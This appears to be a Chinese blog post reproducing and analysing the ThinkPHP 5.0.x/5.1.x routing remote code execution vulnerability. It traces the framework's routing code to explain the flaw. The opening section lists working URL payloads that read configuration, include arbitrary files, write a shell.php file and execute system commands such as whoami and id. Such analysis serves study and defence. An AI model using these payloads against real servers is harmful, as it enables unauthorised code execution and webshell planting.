漏洞复现



5.0.x

1
2
3
4
?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件
?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

5.1.x

1
2
3
4
5
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

影响版本

5.0.7<=thinkphp<=5.0.22
5.1.x

漏洞分析

直接在入口文件处下断点

一路跟到run()方法里面的路由检测部分

跟进routeCheck()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public function routeCheck()
{
$path = $this->request->path();
$depr = $this->config('app.pathinfo_depr');

// 路由检测
$files = scandir($this->routePath);
foreach ($files as $file) {
if (strpos($file, '.php')) {
$filename = $this->routePath . DIRECTORY_SEPARATOR . $file;
// 导入路由配置
$rules = include $filename;
if (is_array($rules)) {
$this->route->import($rules);
}
}
}

if ($this->config('app.route_annotation')) {
// 自动生成路由定义
if ($this->debug) {
$this->build->buildRoute($this->config('app.controller_suffix'));
}

$filename = $this->runtimePath . 'build_route.php';

if (is_file($filename)) {
include $filename;
}
}

// 是否强制路由模式
$must = !is_null($this->routeMust) ? $this->routeMust : $this->config('app.url_route_must');

// 路由检测 返回一个Dispatch对象
return $this->route->check($path, $depr, $must, $this->config('app.route_complete_match'));
}

看到最上面$path通过path()方法获取,跟进一下path方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function path()
{
if (is_null($this->path)) {
$suffix = $this->config->get('url_html_suffix');
$pathinfo = $this->pathinfo();
if (false === $suffix) {
// 禁止伪静态访问
$this->path = $pathinfo;
} elseif ($suffix) {
// 去除正常的URL后缀
$this->path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo);
} else {
// 允许任何后缀访问
$this->path = preg_replace('/\.' . $this->ext() . '$/i', '', $pathinfo);
}
}

return $this->path;
}

最后返回的$path是$pathinfo获取来的,$pathinfo又是通过pathinfo()方法获取来的,跟进pathinfo()方法

通过代码可以发现是通过URL获取来的,根据debug最后返回的值是我们传入的index/\think\Container/invokefunction
回到path方法,经过一些处理,返回值还是index/\think\Container/invokefunction

再回到routeCheck()方法,可以看到有如下判断

1
2
// 是否强制路由模式
$must = !is_null($this->routeMust) ? $this->routeMust : $this->config('app.url_route_must');

如果开启了强制路由,那么我们输入的路由将报错导致后面导致程序无法运行,也就不存在RCE漏洞,但是默认是开启的
上面我们就分析完了routeCheck函数,得到了$dispatch的值

接下来我们走到了

1
$data = $dispatch->run();

跟进一下run()方法
首先是将/替换成了|,得到了$url

然后使用parseUrl()方法处理$url得到$result
跟进parseUrl()方法,关注如下一行代码

1
list($path, $var) = $this->parseUrlPath($url);

再跟进parseUrlPath()方法

将$url里面的|换成了/,然后通过如下判断根据/将其进行分割成数组存入$path

1
2
3
elseif (strpos($url, '/')) {
// [模块/控制器/操作]
$path = explode('/', $url);

然后退出parseUrlPath()方法,退出parseUrl()方法,状态如下

接着传入$result实例化Moudle类然后执行run方法
跟进run()方法,接着通过URL获取控制器名

获取操作名

接着跟进实例化控制器,controller方法,保存在$instance


跟进parseModuleAndClass()方法

得到$class和$module的值
接着回到$controller方法,判断类是否存在,如果存在则调用__get()方法,然后回到run方法

判断方法在当前环境是否可以调用,当然可以,然后得到$call和$vars


然后执行

1
return Container::getInstance()->invokeMethod($call, $vars);

跟进invokeMethod()方法,通过反射方式调用方法


成功实现RCE